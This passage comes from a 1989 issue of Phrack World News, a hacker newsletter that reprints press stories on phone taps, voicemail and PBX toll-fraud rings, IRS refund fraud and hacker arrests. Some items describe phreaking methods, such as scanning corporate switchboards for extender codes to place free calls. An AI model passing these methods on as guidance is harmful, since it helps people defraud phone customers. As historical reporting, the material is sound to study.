But despite this, less than three months later, Brandmeier pulled another of his obnoxious phone pranks. This time, the FCC gave him personally a $5000 fine, and told WLUP "either keep those two under control on the air or you'll get your license yanked."

Now WLUP faces more sanctions, and the probable non‑renewal of

its license when it expires December 1, 1989. Afternoon disk jockey Steve Dahl routinely broadcasts indecent material on his show. Daily topics of conversation include sadism and masochism, child molestation, sexual behavior of all sorts, and frequent slurs of the most vicious kind against gay people. He uses "street language" to express himself, of course, and has used the famous "seven words you never say on the radio" more times than anyone remembers.

The victims of the phone pranks have consulted with their own attorney as a group, and he in turn is pressing the FCC to shut down WLUP completely.

Ginsberg says he does not understand why the FCC is picking on them. He says it must be competing radio stations that would

like to see them off the air, since they are rated number three

in the Chicago area, which certainly says a lot about Chicagoan's taste in radio entertainment.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑

Long time Phrack World News readers may have noticed a familiar name in this article: Steve Dahl.

Depending on how long you have been with us, you may wish to

refer to Phrack World News Issue Five/Part One (in Phrack Inc. Volume One, Issue Six). There is an article entitled "Mark Tabas and Karl Marx Busted" and it is dated May 2, 1986. Along with this article is a short note that explains how an informant (possibly the son of an agent of the Secret Service or Federal Bureau of Investigation) was believed to be using the handle of Jack or Will Bell and had helped the authorities get Tabas and Marx. It was widely known that he was from the 312 NPA ‑Chicago, Illinois.

In the following issue of Phrack Inc. we have PWN Issue VI/Part 1 and an article entitled, "Marx and Tabas: The Full Story." This article further explains how Steve Dahl was busted (for unknown crimes) in Miami, Florida by the U.S. Secret Service and then

made a deal to help them get Karl Marx and Mark Tabas.

So is the Steve Dahl of WLUP in Chicago the same Steve Dahl from Chicago that helped the U.S. Secret Service nail Mark Tabas and Karl Marx?

________________________________________

Reach Out And Tap Someone Revisited July 30, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

In Phrack World News Issue XXVI/Part 2 there was an article about two former employees of Cincinnati Bell (Leonard Gates and Robert Draise) who claimed they had had engaged in numerous illegal taps over a 12 year period at the request of their supervisors at Cincinnati Bell and the Cincinnati Police Department.

Cincinnati Bell filed suit against the two men, Leonard Gates and Robert

Draise, claiming both were liars out to get even with the company after they had been fired for other reasons.

"'Taint necessarily so," said a judge who agreed the charges may have some merit, and permitted the class action suit against Cincinnati Bell to continue this past week.

The class action suit claims that Cincinnati Bell routinely invaded the privacy of thousands of people in the area by

secretly tapping their phones at the request of police or FBI officials over a twelve year period from 1972 ‑ 1984. The taps were mainly applied against political dissidents during the Vietnam era, and in more recent years, against persons under investigation by the United States Attorney in southern Ohio, without the permission of a court.

Now says the court, depending on the outcome of the class action suit, the criminal trials of everyone in the past decade in southern Ohio may have to be re‑examined in light of illegal evidence gained by the United States Attorney, via the FBI, as a result of the complicity of Cincinnati Bell with that agency, courtesy of Robert Draise and Leonard Gates.

The testimony this past week got *very messy* at times. Gates

and Draise seem determined to tell every dirty thing they know about Cincinnati Bell's security department from the dozen years they worked there. More details as the trial continues.

________________________________________

The Grim Phreaker Cleared In Phone Scam June 30, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Suzanne Getman (Syracuse Herald Journal)

"We disposed of this on the basis of his

cooperation."

A college student who talked his way into being arrested in April (by speaking with a chat operator) was cleared of charges against him this week. Kevin C. Ashford aka The Grim Phreaker, age 22, was arrested by sheriff's deputies on April 21 a mere five

minutes after using a payphone to speak with an operator on the Onadaga Community College campus and charged with theft of services, a misdemeanor.

Ashford admitted placing about 30 calls to a party lines known as bridges by using phony credit card numbers and extenders. "We disposed of this on the basis of his cooperation, our problem

with proof, and his completion of 30 hours of community service," Assistant District Attorney Timothy Keough said. Ashford had cooperated by assisting and providing information to the

Sheriff's Department, the Federal Bureau of Investigation, and

the Secret Service for more than three weeks. There was no problem with proof however because Ashford admitted he was guilty of all of the crimes.

Ashford was arrested in Onadaga Community College campus' Gordon Student Center on April 21, minutes after he placed a call to a nationwide party line called Systems 800 International (who offered to drop charges if they could receive copies of Phrack Inc. Newsletter from him and if he would work for them trapping others). Company officials said there is no way to establish the cost of the fraudulent calls. "Without a dollar amount, we

didn't have proof. Without proof, we couldn't prosecute," Keough said.

Article Submitted by DarkMage

________________________________________

Phony IRS Refunds By Computer August 17, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By John King (Boston Globe)

"Computer Filer Got $325,000 In Phony Refunds, IRS claims."

Clever tax preparers are one thing, but a clever bookkeeper who allegedly pried 325,000 dollars from the Internal Revenue Service found himself on the wrong side of the law yesterday, August 16.

In what may be the nation's first charge of electronic tax fraud, IRS special agents yesterday arrested Alan N. Scott of West Roxbury [a suburb of Boston], saying he claimed 45 fraudulent income tax refunds for amounts ranging from

3,000 dollars to 23,000 dollars.

The IRS charges that Scott, age 37, used the service's new electronic filing system ‑‑ open only to tax preparers ‑‑ to submit phony claims with assumed names and Social Security numbers. In some cases, the names used were of people in prison, according to Chief Kenneth Claunch, IRS Criminal Investigation Division.

"The computer age has spawned a new breed of criminal," Claunch said in a statement.

New in tools, perhaps. As for the basic idea ‑‑ filing a false return in order to snare an unwarranted refund ‑‑ that's old hat, admitted IRS spokeswoman Marti Melecio.

"I can't say that it's a new trick. We've had fraud cases with paper returns," Melecio said. "The time frame is different, though. With electronic filings, the returns come back in two or three weeks."

According to the IRS, Scott received electronic filing status on January 31. He did this by using a false Social Security number, and making false statements on his application. However, the IRS also says Scott electronically filed 10 returns where he used his own name as a preparer, and these returns appear to be

legitimate.

The scheme was uncovered by a "questionable refund detection team," at the IRS service center in Andover, Massachusetts.

Also, the IRS credited a tip from an unnamed Boston bank "which reported a suspicious electronic transfer of funds to an individual," presumably Scott.

If convicted, Scott faces a possible prison sentence and up to 250,000 dollars in fines on each of the counts of fraud.

________________________________________

Paris Computer Takes Law Into Its Own Hands September 6, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From The Guardian

A crusading computer has taken the law into its own hands and caught 41,000 Parisians on charges of murder, extortion, prostitution, drug trafficking and other serious crimes. But the big round‑up ended in embarrassment after an admission by the

City Hall yesterday that the electronic "Batman" could not

tell the difference between a parking offense and gang warfare. "The accused persons will be receiving letters of apology," an official at the City Hall Treasury department said. "Instead of receiving summons on criminal charges, they should have been sent reminders of unpaid motoring fines in April. Somehow the

standard codes we use for automatically issued reminders got

mixed up."

The first hint of the avenging computer's self‑appointed mission to clean up the capital came at the weekend. Hundreds of Parisians received printed letters accusing them of big crimes, but demanding only petty fines for the major crimes of between

$50 and $150 (pounds ‑ UK equivalent). "About 41,000 people are involved and some of the charges are quite weird," the official admitted. "One man has complained of being accused of dealing in illegal veterinary products. Unfortunately, other accusations went much further, like man‑slaughter through the administration of dangerous drugs." "There were a lot of cases of living off immoral earnings, racketeering and murder." The official said an inquiry had been started to see if the caped computer had a human accomplice. So far, no one has asked the Joker if he was in

Paris last week.

________________________________________

Chalisti Magazine by the Chaos Computer Club

August 20, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

In the future, there will be an electronic magazine, published

by, and concerning the Chaos Computer Club. It is called

Chalisti and the name is derived from "Kalisti," the Goddess of Chaos and will, hopefully, stand for creative Chaos and not for chaotic, but, as always only time will tell.

The idea is like this...

Over the different data networks, masses of information flow. On the Usenet it is about 100 MB/Month, on the CREN (Bitnet + CSNet) the flow is about the same size. On top of these flows, there is the information from national networks like Zerberus, BTX and Geonet. Mostly, a person only gets information from one network and that is why interesting information on data protection, data security, alternative uses of computers, environment, university etc. are being broadcast over only one network.

Information from the networks for the networks, but that is not all. There should emerge a list of editors, that is spread over

a large area, and works over the nets. Information and and opinions should be exchanged, but also further contacts will emerge.

The first edition of Chalisti will presumably be published mid‑September. Because of this, the list of editors is

relatively small, one will publish stuff from the newest "Datenschleuder", the MIK‑magazine and the most interesting messages from the nets that appear in the following weeks. But

as soon as the 2nd edition will appear, the content will be different from the "Datenschleuder."

In Chalisti, copy and messages from the nets and other media

(MIK, and others) will be published as well. Articles meant especially for the Chalisti magazine are requested and these articles will be published with the highest priority.

The magazine will be no bigger than 100 KB/Month. In case of doubt, articles will be kept for the forthcoming edition or for the fall in copy in the Summer. But it is also possible, that

too few articles are being sent in, in which case the content

will be spiced with information from DS, the nets and the MIK‑magazine. In this way, a regular emerging of editions is being secured.

The first edition is due 15th of September. The second at the

end of October. At that date, the holiday will be ended, and a editorial and informal infrastructure will be built. From then on, there should be an edition every month.

The editorial part will presumably be done on EARN or CREN. That bears the advantage that quick reactions on recent messages will be possible, as well as the possibility to talk it over at

Relay's or Galaxy Meetings, and in this way, an international medium is available. Writers of articles or editors from other nets can be contacted, and there shouldn't be no technical problems in getting the job done. Especially on UUCP and Zerberus, facilities will be created.

As ways of contacting the Editors, the following Networks are available:

EARN/CREN ‑ Distribution will be done over CHAMAS (107633@DOLUNI1). There will be a board for Chalisti, as well as a CUG for the board of Editors. Contact there will be 151133@DOLUNI1. Presumably, from the beginning of October, the userid CHAMAINT@DOLUNI1 will be available.

UUCP/Subnet ‑ Contacting will be possible through chalist@olis, ccc@mcshh and through ..!tmpmbx!DOLUNI1.bitnet!151133.

UUCP/Dnet ‑ Contacting will be possible through simon@uniol. Distribution will proceed through this id in dnet.general.

Zerberus ‑ At this moment: terra@mafia and terra@chaos‑hh. From mid‑September on, presumably through chalist@subetha.

BTXNet ‑ Unknown yet.

GeoNet ‑ mbk1:chaos‑team. Time will show, whether distribution of the magazine will be done on GeoNet.

Contacting or distribution through FidoNet and MagicNet has been planned for, but has to be built first.

Interested people are being asked to use these addresses. For the absolute uncontactable, there is a Snailmail address as well:

Frank Simon

12 Kennedy Street

2900 Oldenburg, FRG (West Germany)

04411/592607 (Telephone)

Greets

Terra

________________________________________

Computer‑Based Airline Ticket Scam August 14, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from the Los Angeles Times

Phoenix police arrested four people as they continued to unravel

a bogus airline ticket ring that allegedly sold millions of dollars of stolen tickets by advertising discounted fares in national publications. Investigators said the individuals put together a major conspiracy by knowing how to access airline computers to put travel itineraries in the computer system. ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑

In the interests of equal access to information for all, I have decided to include some of the supposed deep secrets of how to access airline computers and inset travel itineraries.

This can be done from virtually any telephone nationwide (including a rotary dial telephone). This can of course also be done from a public payphone if you should decide to make sure

your identity is anonymous.

It is necessary to determine the phone number for an airline's computer. All you have to do is call 1‑800 directory assistance (1‑800‑555‑1212). Ask for Ozark Airlines reservations (a no longer existent company that was purchased by Trans World Airways [TWA] used here only as an example). The operators on duty will read you a number, 800‑PRE‑SUFF.

Call this number and you will be connected with the Ozark

Airlines reservation office. Here they will have a database

which stores all of Ozark's itineraries. Simply state the date, flight number, departure and destination cities, and passenger name. It's that easy! You can later dial the same access number and cancel or modify your itineraries. The system even includes search functions if you don't know the flight number, and an extensive help system (just say "How do I make a reservation?").

________________________________________

Fighting Back Against Junk Calls September 4, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "We are not Pavlov's dogs and

should not have to jump everytime a bell rings."

And if we do hop to the phone on demand, we ought to be paid for it, says Bulmash, president of Private Citizen, Inc., a Warrenville, IL organization designed to prevent what Bulmash describes as "junk calls" from telemarketers.

We deserve at least a C‑note ‑‑ $100, he says.

Twice a year, Bulmash, age 43, a paralegal by trade, mails a directory of people who don't wish to have telephone solicitors call them to 600 telemarketing firms. Along with the

directories, he sends a contract which states that the people listed will listen to the solicitors only in exchange for $100.

If the solicitors call, the contract says, the telemarketing company owes the listener $100. It's for "use of private

property ‑‑ the phone, your ear, your time," says Bulmash.

Subscribers, now numbering about 1000, pay $15 per year to be listed in the

Private Citizen directory.

While Bulmash doesn't guarantee you won't be called, he does

offer some success stories. He says subscribers have collected anywhere from $5 ‑ $92 from telemarketing companies. He offers a money‑back deal for those subscribers not completely satisfied.

He says only one person has taken him up on it.

"You can tell those companies 500 times over the phone not to

call and they won't listen," Bulmash says. "But when you

threaten them with charging them for your time, that gets their attention."

Bulmash, who began Private Citizen in May, 1988, says telemarketers have the attitude of "we're big business, so you just hang up the phone if you don't like us. I say we have a right to be left alone in the first place, at least in our

homes." Typically, a telemarketing call to a home has less than

a 3 percent success rate, he said, with the other 97 percent of

us ‑‑ and we know who we are ‑‑ being unnecessarily inconvenienced.

Bulmash says he has testified before Illinois and California

state legislative committees and has lobbied state and federal lawmakers for relief from telemarketers. He teaches the members of his organization how to bill for their time, and in many

cases, make the charges stick and get payment for "the use of their time, ear and phone."

For more information on Private Citizen, contact Bulmash at 312‑393‑1555.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Banned in Boston ‑‑ Telemarketer Gets Sued! September 14, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Alan Schlesinger's stock in trade is suing people. But you might say his stock is too hot to handle at Merrill Lynch these days.

A Boston lawyer who hates telephone solicitors, Schlesinger sued Merrill Lynch after the brokerage firm ignored "repeated

requests" to quit calling him with investment proposals.

To Merrill Lynch's surprise, he won an injunction. Indeed, he sued them twice and won both times. The second time was after an unwitting broker called him in violation of the court order prohibiting it.

"This is something that bothers a lot of people, but they don't have the sense they can do something about it," said Schlesinger, whose best retort is a tort, it would seem. In the second suit, the court awarded him $300, for the costs of his prosecution of the matter and for his time spent on the phone with the brokerage house's phone room.

"He is using an atom bomb to deal with a gnat," said William Fitzpatrick, chief lawyer for the Securities Industry

Association, faulting Schlesinger for doing what comes naturally for an attorney: "Being a lawyer myself, I can only guess he doesn't have enough brains to just hang up the phone."

Phrack World News XXVIII Part 4

==Phrack Inc.==

Volume Three, Issue 28, File #12 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXVIII/Part 4 PWN

PWN PWN

PWN October 7, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Woman Indicted As Computer Hacker Mastermind June 21, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by John Camper (Chicago Tribune)

A federal grand jury indicated a Chicago woman Tuesday for allegedly masterminding a nationwide ring of computer hackers

that stole more than $1.6 million of telephone and computer service from various companies.

The indictment charges that Leslie Lynne Doucette, 35, of 6748 North Ashland Ave, and 152 associates shared hundreds of stolen credit card numbers by breaking into corporate "voicemail"

systems and turning them into computer bulletin boards.

Voicemail is a computerized telephone answering machine. After a caller dials the machine's number he punches more numbers on his telephone to place messages in particular voicemail boxes or retrieve messages already there.

The indictment charges that the hacker ring obtained more than $9,531.65 of merchandise and $1,453 in Western Union money orders by charging them to stolen bank credit card numbers.

It says the group used stolen computer passwords to obtain

$38,200 of voicemail service and stolen telephone credit card numbers to run up more than $286,362 of telephone service.

But the biggest haul, more than $1,291,362, according to the indictment, represented telephone service that was stolen through the use of Private Branch eXchange (PBX) "extender codes."

A PBX system provides internal telephone service within a

company. If a PBX system is equipped with an extender, a person can call the PBX system, punch in a code, and dial long distance at the expense of the company that owns the

system.

The only corporate victims of the alleged fraud named in the indictment are August Financial Corporation of Long Beach California, and A‑1 Beeper Service of Mobile, Alabama.

Doucette has been held without bond in the Metropolitan Correctional Center since May 24, when she was arrested on a raid on her apartment that netted 168 telephone credit card numbers

and 39 extender codes, federal authorities said. The indictment does not name any members of the alleged ring, but authorities said the investigation is continuing.

United States Attorney Anton R. Valukas said the indictment is

the nation's first involving abuse of voicemail.

"The proliferation of computer assisted telecommunications and

the increasing reliance on this equipment by American and international business create a potential for serious harm," he said.

Authorities said they discovered the scheme last December after a Rolling Meadows real estate broker reported that hackers had invaded his company's voicemail system and changed passwords.

Authorities said they traced the calls into the Rolling Meadows voicemail system to telephones in private homes in Chicago, Columbus, Ohio, and suburban Detroit, Atlanta and Boston.

Checks on those phones led them to voicemail systems in companies around the country, they said.

[For more information see Phrack World News XXVII/Part One and

the article entitled, "Computer Intrusion Network in Detroit," dated as May 25, 1989 ‑‑KL]

________________________________________

Phreaks Abuse East St. Louis Phone Card

September 24, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~East

St. Louis, IL, a dirt‑poor minority suburb of the larger Missouri city by the same name was victimized for several months by

phreaks without realizing it until the phone bills for a one year period were audited recently.

According to a recent story in the Belleville, IL

(News‑Democrat), the city is being billed for phone calls to dial‑a‑porn services and from points as far flung as Florida and Texas.

The monthly phone bill for the city of East St. Louis averages $5000, and over the past year it has included calls to nearly every state as well as to "900" area adult talk lines. City Treasurer Charlotte Moore said the number of questionable calls

in each month's phone bill, which is usually two inches thick, shows the "need for better policing of phones."

No kidding! The (News‑Democrat) obtained copies of the phone

bill for several months under the Freedom of Information Act, and set about reviewing the places and people called. For example, from March through May of this year, hundreds of dollars in calls were made from places in Texas, Florida and elsewhere, and

charged to a Calling Card number assigned to the city.

In one instance, a caller in northern Florida made a 288‑minute call to Miami that cost East St. Louis $39.27. The (News‑Democrat) called the Miami number, and reached a man named John, who refused to give his last name, and claimed he "...had never even heard of East St. Louis..."

Calls from one certain number in Houston to places all over the United States accounted for more than $1000 in charges over several months. A man who answered the phone at the Houston number refused to give his name and refused to discuss the

matter, or explain how his phone might have been used for the fraudulent calls.

Prior to intervention by the newspaper, the city had done

nothing. Apparently they were not even aware of the abuse. On notification, the local telco cancelled all outstanding PINS, and issued new ones. Meanwhile, the city of East St. Louis continues to plead poverty. They are barely able to meet payroll for city employees, and have skipped a couple of paydays at that. The

city has an extremely poor tax base, and will likely file bankruptcy in the near future.

________________________________________

The Cuckoo's Egg

October 1, 1989 ~~~~~~~~~~~~~~~~

The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage by Cliff Stoll, Doubleday, 1989, ISBN 0‑385‑24946‑2 ($19.95)

Book Review by Louise Bernikow, Cosmopolitan, October 1989

Here is a first ‑‑ the true story of a man who notices a seventy‑five cent discrepancy in a computer's accounting system and runs the error down until it leads to a real live spy ring. Even if you don't know a byte from a bagel, this book will grip you on page one and hold you as ferociously as the best mystery stories.

It is astrophysicist‑turned‑systems‑manager Cliff Stoll's first week on the job at a lab in Berkeley, California. The error

turns up, and he tries to figure out why, partly as an exercise

in learning about the computer system he's going to be working with. Almost immediately, he discovers that somebody had been breaking into the computer network using a fake password. That discovery leads him to other break‑ins in other computers, including some in military installations. He alerts the FBI, which, since he has lost neither half a million dollars nor any classified information, says, "Go away, kid."

Stoll presses on, sleeping under his desk at night, monitoring

the system ‑‑ a hound waiting for the fox to come out in the

open. There is suspense aplenty, but it's the intensely human, often funny voice of the man on the trail that makes this book so wonderful. Stoll's girlfriend, Martha, a law student, seems like one smart and delightful cookie, and she puts up with his obsession pretty well. In the end, Stoll becomes a national

hero. The play‑by‑play is nothing short of fascinating.

[I wonder if anyone got those cookies ‑‑KL]

________________________________________

Hackwatch Spokesman Charged

October 2, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Taken from Computing Australia

Self‑styled computer security expert Paul Dummett, alias Stuart Gill, has been charged with making false reports to the Victoria Police following an investigation into claims he made in the

daily media late in 1988 and early this year. The articles often quoted Gill, introducing himself as a spokesman for either "Hackwatch" or the "DPG monitoring service".

Gill claimed hackers in Australia had gained access codes from others in the US and lifted $500,000 (US) from the International Citibank, United States. Other claims include credit card

numbers had been posted on bulletin boards for BBS users' access; drugs, including steroids, were being sold using bulletin boards; evidence of this had been given to the police by informers; and

in response, the police had raided several hackers' homes. The police, including the Criminal Investigation Bureau and the Fraud Squad's Computer Section, repeatedly denied the claims.

Gill had disappeared, but returned again on September 22 and was charged in the Frankston Magistrates' Court under his real name, Paul Dummett. According to court documents, police investigating Dummett's claims allegedly found Citibank's computer network had not been illegally accessed on its New York number as Dummett had claimed. When Dummett appeared in court his legal aid counsel Serge Sztrajt applied successfully to adjourn the case until October 20. Dummett did not enter a plea.

________________________________________

PWN Quicknotes ~~~~~~~~~~~~~~ 1.

Hire A Hacker? ‑‑ "Some very

notable people in the computer

industry started out as hackers tinkering around in a mischievous fashion," Ron Gruner, president of Alliant Computer Systems Corporation told Computerworld why he would probably hire Robert T. Morris Jr., of Cornell and creator of

Internet worm. ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ 2. Computer Hackers Rip

Off Corporate 800 Lines ‑‑ Computer hackers pride themselves on never having to pay for long distance calls. How do they do it? Sam Daskam, president of Information Security Association (ISA), explains: Hackers call corporate numbers until they find one with an automated switchboard. The fingers do not do the walking. Automatic caller software is used. Then they link their computer to try all combinations of three or four‑digit numbers until they find one which connects them to the company's outside toll or 800 line. Once they get a dial tone, they can make calls anywhere at the firm's expense. Taken from the Security Letter 1989. ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ 3. 900 Service Considered ‑‑ There has been talk among some companies about switching from using the 800 toll free numbers to 900 numbers since the ease of use of the 900 numbers has been shown so vividly. This would save the corporations a large degree of money. ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ 4.

Grocery Store "Hackers" Sell Drugs And Women ‑‑ The VMB (voice mailbox) system of a wholesale grocer in Los Angeles was commandeered to a small band of "hackers," who used the system to run a prostitution ring and disseminate data about drugs. Finally, valid VMB users complained that they could not use the service since their passwords were invalidated. An investigation disclosed that the "hackers" overrode security features and acquired 200 VMBs for their own use. ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ 5. Phone Phreaks Busted In Upstate New York ‑‑ Once again it seems that Syracuse, New York is ripe for the picking for law officials to grab hackers involved computer related crimes. In August the Federal Communications Commission (FCC) put a local area police sergeant in charge of contacting a list of local computer users that were using a local long distance service that offered national and international calling.

It seems that one user of the service contacted the company about a large bill, $10,000, that he received. The company then put a trap on the code and accumulated a list of unauthorized users to that code. So far the local authorities, the state police, and the FBI have been brought in on the case. They have been interviewing those on the list and so far most have cooperated fully with the police (most offenders are underage). One user called Gunter has even allowed the police to use his computer bbs accounts. The service used by those caught (25 people) where to place long distance calls to France, Dominican Republic, Kenya, and Germany. The callers also used the service to call locally in Syracuse, as one person said that it cleaned up the line

noise. ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ 6. Bulletin Board Scanning Saves

Boy (August 24, 1989) ‑‑Undercover police in San Jose, California, have been watching bulletin boards for several years, looking for computer users who boast about their criminal exploits. It was such activity that led them to Virginians Dean Ashley Lambey, 34, and Daniel T. Depew, 28, who have been accused of conspiring to kidnap a young boy to be filmed as they molested him and then killed him. (Article by Tracie L. Thompson of the San Francisco Chronicle.) ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ 7. German Hackers Attempt To End Smoking (August 29, 1989) ‑‑ On Saturday, August 26, 1989, ZDF (the second German television station and one of the 2 nationwide television channels) asked their viewers whether they thought smoking should be banned in public areas. The viewers could reply by telephone, dialing one telephone number for "yes" and another telephone number for "no." Within a time frame slot of 14 minutes, 52,942 telephone calls came in, with a ratio of 54:46 in favor of prohibiting smoking. This means that 29,669 voted in favor of a prohibition, and 25,273 opposed it.

On Monday, August 28, 1989, a group of South German hackers claimed to have manipulated the quota by dialing the "yes" number with 83 personal computers at a rate of 4 times a minute; virtually all of their calls came through so that about the maximum of 4,648 "yes" votes came from their computers. These circumstances led to new results in the poll: "Yes" = 25,021 and "No" = 25,273, giving the "no" group a small majority.

Story by Klaus Brunnstein ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ 8. Immigration Chief Proposes National Computer Screen (June 22,

1989) ‑‑LA JOLLA, CA, ‑‑ The Commissioner of Immigration and Naturalization, Alan C. Nelson, today proposed a nationwide computer system to verify the identities of all job applicants in order to halt the widespread use of fraudulent documents by illegal aliens seeking jobs.

Mr. Nelson also suggested standardized identity cards for immigrants so as to get fuller compliance with a 1986 law prohibiting employment of illegal aliens.

Creating a national identity card and other ways of checking legal status or identity have been repeatedly suggested in Congress as tools in fighting unlawful immigration, but have also been consistently rejected as potential infringements on civil liberties.

The national computerized database on everybody is one bad idea that simply refuses to stay dead, no matter how many times we drive a stake through its heart ‑‑ if the INS didn't resurrect it, the drug czar or the FBI would. "Eternal vigilance..."

Story by Roberto Suro (New York Times) ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ 9. West German Computer Hackers Accused Of Spying For Soviets

(Aug. 17, 1989) ‑‑ Associated Press (Frankfurt) ‑‑ Three computer hackers, suspected of giving the Soviet Union information from military and industrial computers worldwide, have been indicted on espionage charges, prosecutors said yesterday. The West German government called the breakup of the spy ring, which gave the KGB secret data from 12 countries, including the United States, "a major blow" to the Soviets. In a four‑page statement, Kurt Rebman, the chief federal prosecutor, said it was the first time his office had prosecuted hackers for endangering national security. Taken

from the Boston Globe ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ 10. Challenge To

Phreaks! (August 31, 1989) ‑‑ Nippon Telegraph & Telephone Corp. (Tokyo) is offering a $7,000 reward to any person or organization that can invade its FEAL‑8 private communication and data system, according to an Associated Press report that NTT America Inc. officials could not confirm. The reward offer supposedly expires 8/31/91. No telephone number or other information was included. Taken from the Wall Street

Journal. ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ 11. Shadow Stalker Loses Out

(August 7, 1989) ‑‑ A 17‑year‑old Michigan boy has been charged with posting stolen long‑distance telephone codes on a bulletin board system operated in his home. Brent G. Patrick, alias "Shadow Stalker" online, was arraigned this week on one count of stealing or retaining a financial transaction device without consent. Patrick was released on $2,500 bond, pending his hearing. The youth faces a maximum of four years in prison and a $2,000 fine if convicted. His bulletin board, Wizard Circle, has been closed. ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ 12. Philadelphia Hackers Change Speed Limit ‑‑ Recently an unknown hacker got into the computer that controlled the speed limit on the Burlington‑Bristol Bridge. He proceeded to change the speed limit from 45 m.p.h. to 75 m.p.h. A lot of people were stopped and ticketed and judges say they will not hear any appeals because, "the public should know better than that no matter what the sign says." The police claim to have leads, however this is doubtful. ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ 13.

Two Story Jump To Escape From Secret Service (July 26, 1989) ‑‑ Red Rebel, a known hacker in Florida was busted by the United States Secret Service and local authorities. It seems that in attempt to to escape he actually jumped out a second story window and ran for a while. The Secret Service confiscated two computers and a load of disks.

To make matters worse, similar to Oryan QUEST, Red Rebel is not an American citizen and is likely to be deported. Red Rebel is charged with resisting arrest, interfering with evidence, and something concerning credit card fraud. Information provided by The Traxster. ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ 14.

Fraud Alert (September 1989) ‑‑ PBX fraud is busting out all over. Long distance carriers are being overwhelmed by corporate customers demanding refunds for fraud perpetrated on them. No long distance carrier covers their customer's long‑term fraud. If you got fraud you got to pay. This is not like stolen credit cards. This is real serious stuff. Thieves are dialing into 800 INWATS lines and, via auto attendants, hacking their way to overseas. The big calls go to drug‑related countries, especially Colombia, Pakistan, Dominican Republic, and Ecuador. But no one really knows which countries are drug‑related and which aren't. Taken

